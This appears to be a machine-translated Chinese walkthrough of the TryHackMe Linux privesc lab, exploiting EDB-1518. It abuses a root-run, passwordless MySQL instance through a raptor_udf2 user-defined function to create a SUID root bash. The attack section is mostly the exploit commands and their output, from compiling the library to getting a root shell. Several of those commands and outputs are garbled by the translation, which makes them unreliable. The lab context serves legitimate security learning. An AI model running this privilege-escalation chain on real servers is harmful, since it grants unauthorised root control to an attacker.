这次,我们将尝试使用exploit数据库中的“ EDB-1518:使用MySQL用户定义函数的特权提升”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”




EDB-1518的概述
EDB-1518:MySQL 4.x/5.0(Linux) - 用户定义功能(UDF)动态库(2)指出,可以通过滥用MySQL的用户定义功能来实现特权升级。
UDF允许您创建具有与MySQL服务相同特权在OS上运行命令的恶意功能。
如果您将MySQL作为root在目标计算机上运行,则可以将命令作为root运行。
什么是用户定义的功能(UDF)?
用户定义的功能是一种机制,它允许您创建像内置MySQL功能一样工作的新功能,并且是扩展MySQL的一种方法。
运行UDF的步骤如下:
- 创建库(主要是C/C ++)
- 将库编译成共享对象
- 将共享对象放在插件目录中
- 创建一个函数以在MySQL中执行共享对象
部署脆弱的Debian VM
启动目标机器


使用SSH登录到您的用户帐户
SSH用户@[Machine_ip]
$ ssh user@10.10.77.90无法建立主机'10 .10.77.90(10.10.77.90)的真实性'无法建立。 RSA密钥指纹是SHA256:JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK。您确定要继续连接(是/否)吗?是警告:永久添加'10 .10.77.90'(RSA)到已知主机列表中。 user@10.10.77.90's密码:Linux Debian 2.6.32-5-AMD64#1 SMP TUE 5月13日16:34:35 UTC 2014 x86_64 exhian GNU/Linux系统包含的程序免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.125
$ id uid = 1000(用户)gid = 1000(用户)组= 1000(用户),24(cdrom),25(ploppy),29(音频),30(dip),44(视频),46(publdev)

检查特权升级所需的条件
这次,由于它仅适用于特权升级,因此假定您可以登录到目标服务器。
检查MySQL是否正在运行
首先,检查MySQL是否正在运行。
运行以下命令:
netstat -tulpn
如果您检查第12行,则可以看到“ 2000/mysqld”设置为“听”。
root@debian:〜#netstat -tulpn主动Internet连接(仅服务器)proto recv-q s send-q send-q本地地址外部地址状态pid/program name tcp 0 0 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 :* 0.0.0.0:52341 0.0.0.0 :**听 - TCP 0 0 0 0.0.0.0.0:22 0.0.0.0.0.0 :**听1837/sshd TCP 0 0 0 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4 2380/exim4 TCP 0 0 0.0.0.0:2049 0.0.0.0.0 :*听听-TCP 0 0 0.0.0.0.0.0.0:49379 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.bh 1661/apache2 tcp6 0 0 :::22 :::* LISTEN 1837/sshd udp 0 0 0.0.0.0:68 0.0.0.0:* 1169/dhclient udp 0 0 0.0.0.0:60102 0.0.0.0:* 1627/rpc.mountd udp 0 0 0.0.0.0:57929 0.0.0.0 :** 1231/rpc.statd udp 0 0 127.0.0.0.0.0.0.0.1:983 0.0.0.0.0.0.0.0.0.0.4 :* 1231/rpc.statd udp 0 0 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.bhiss-1199/portmap udp 0 0 0 0.0.0.0.0.0.0.0.0.0.0.0.44444152 ext 0.0.0.0:2049 0.0.0.0 :* -
检查服务执行谁(过程所有者)
接下来,确保MySQL执行人是root。
命令如下:让我们使用MySQL将其缩小。
PS -EF | grep mysql
我已经确认MySQLD的跑步者是根。
这表明可以利用UDF作为root运行命令。
root@debian:〜#ps -ef | grep mysql root 1866 1 0 08:53? 00:00:00/bin/sh/usr/bin/mysqld_safe root 2000 1866 0 08:53? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysqld --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 root 2001 1866 0 08:53 ? 00:00:00 logger -t mysqld -p daemon.Error root 2502 2481 0 09:00 PTS/0 00:00:00 GREP MYSQL
检查MySQL版本
如果您正在利用UDF,则MySQL版本必须为4.x或5.x。
检查MySQL版本的命令如下:
mysql -v
它说“ 5.1.73”,因此该版本似乎也不是问题。
root@debian:〜#mysql -v mysql ver 14.14分布5.1.73,用于debian-linux-gnu(x86_64)使用readline 6.1
检查是否设置了根密码
默认情况下,没有根密码集,因此请检查是否可以在没有密码的情况下登录。
命令如下:
mysql -U根
我能够在没有密码的情况下登录。
如果您需要密码,则首先必须找到密码,但是这次似乎可以省略。
root@debian:〜#mySQL -U根欢迎来到MySQL监视器。命令以;或\ g。您的MySQL连接ID是35服务器版本:5.1.73-1+DEB6U1(Debian)版权(C)2000,2013,Oracle和/或其分支机构。版权所有。 Oracle是Oracle Corporation和/或其分支机构的注册商标。其他名称可能是其各自所有者的商标。输入“帮助;”或“ \ h”寻求帮助。键入“ \ c”以清除当前输入语句。 mysql>
检查MySQL设置
最后,让我们检查MySQL设置。
首先,检查您的权限。
我是MySQL的超级用户,因此我可以看到我有完整的访问权限。
mysql>显示赠款; + ---+ | root@localhost的赠款| + -----+ |将所有特权授予 *。 *授予'root'@'localhost'的授予选项| + ----+ 1行(0.00秒)
接下来,检查Secure_file_priv。
这是限制MySQL中数据输入和输出的选项。
这次是空的,所以没有限制。如果有限制,您可能无法攻击。
mysql>显示“ secure_file_priv”之类的变量; + ---+ | variable_name |值| + -----+ | Secure_file_priv | | +----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
还要检查插件目录。
它设置为“/usr/lib/mysql/插件”的默认值。
mysql>显示“ plugin_dir”之类的变量; + ---+ | variable_name |值| + -----+ | Plugin_dir | /usr/lib/mysql/插件| +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
现在,您有所有的特权要求。
接下来,让我们实际攻击。
服务利用
现在,攻击开始了。
首先,让我们回顾一下步骤。
- 创建库(主要是C/C ++)
- 将库编译成共享对象
- 将共享对象放在插件目录中
- 创建一个函数以在MySQL中执行共享对象
这次的目的
我不在乎这次的目标,但我只想说我想看看Apache日志。
目前的用户似乎没有权限。
CD/var/log/apache2 -bash:cd:/var/log/apache2:拒绝权限
创建一个库
而不是创建库,Explore-DB获取Raptor_udf2.c
但是,如果您使用的是Kali Linux,它已经存在,因此这次我会跳过步骤。
将库编译成共享对象
接下来,将其编译成共享对象。
确保存储raptor_udf2.c。
user@debian:〜$ cd/home/user/tools/mysql-udf用户@debian:〜/tools/mysql-udf $ ll总计4 -rw-r-r- r-- r-- r-- 1用户3378 5月15日2020年5月15日2020 RAPTOR_UDF2.C
与下面的命令一起编译raptor_udf2.c:
user@debian:〜/tools/mysql -udf $ gcc -g -c raptor_udf2.c -fpic user@debian:〜/tools/mysql -udf $ gcc -g -g -g -sshared -wl,-soname,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.so raptor_udf.2.so raptor_udf2.o -lc-lc
将共享对象放在插件目录中
接下来,将共享对象放在插件目录中。
但是,由于您在插件目录上没有权限,因此需要使用MySQL。
首先,将其登录到MySQL作为root。
user@debian:〜/tools/mysql -udf $ mysql -u root欢迎来到MySQL监视器。命令以;或\ g。您的MySQL连接ID是35服务器版本:5.1.73-1+DEB6U1(Debian)版权(C)2000,2013,Oracle和/或其分支机构。版权所有。 Oracle是Oracle Corporation和/或其分支机构的注册商标。其他名称可能是其各自所有者的商标。输入“帮助;”或“ \ h”寻求帮助。键入“ \ c”以清除当前输入语句。 mysql>
要使用的数据库将是MySQL。
mysql>使用mysql;阅读表信息以完成表格和列名,您可以关闭此功能,以获取更快的启动-A数据库
通过加载共享对象,将其保存到表并将转储文件输出到插件目录中,将共享对象移动到插件目录。
mysql> Create table foo(line blob);查询OK,0行影响(0.01 sec)mysql>插入foo values(load_file('/home/home/user/user/tools/mysql-udf/raptor_udf2.so')));查询OK,1行影响(0.00 sec)mysql>从foo中选择 *从foo'indumpfile'/usr/lib/mysql/plugin/raptor_udf2.so';查询好的,1行影响(0.00秒)
创建一个函数以在MySQL中执行共享对象
创建一个运行一个共享对象的函数,称为Raptor_udf2.,以便您刚移至插件目录。
mysql>创建函数do_system返回整数soname'raptor_udf2.so';查询好的,0行影响(0.00秒)
现在您准备攻击了。
运行该功能以设置SUID权限
运行您创建的功能,以将 /bin /bash复制到 /tmp /rootbash并设置SUID权限。
mysql> select do_system('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash'); + -----+ | do_system('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash')| +------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +---+ 1 row in set (0.01秒)
设置完成后,退出并退出MySQL。
mysql>退出再见
获得具有根特权的外壳
通过在 /tmp /rootbash中运行可执行文件,您将获得具有root特权的外壳。
user@debian:〜/tools/mysql-udf $/tmp/rootbash -p rootbash-4.1#
实现目标
现在,让我们检查一下我们目的的Apache日志。
我认为您可以看到您早些时候没有权威的地方。
rootbash-4.1#cd/var/log/apache2 rootbash-4.1#ls access.log error.log error.log.log.2.gz access.log.1 error.1 error.log.1其他_vhosts_access.log
我认为我们现在已经确认了特权升级已实现。
您可以将TryHackme留在这里。

概括
这次,我尝试了“ EDB-1518:使用MySQL用户定义的功能提高特权”。
对于Tryhackme,只有一个项目,但是在实际这样做时,这很困难,因为它需要大量研究。
我还将从Tryhackme执行以下任务,所以请看看。
参考和站点
Juggernaut Pentesting Academy: https://juggernaut-sec.com/mysql-user-defined-functions/
MEDIUM (Nairuz Abulhul): https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf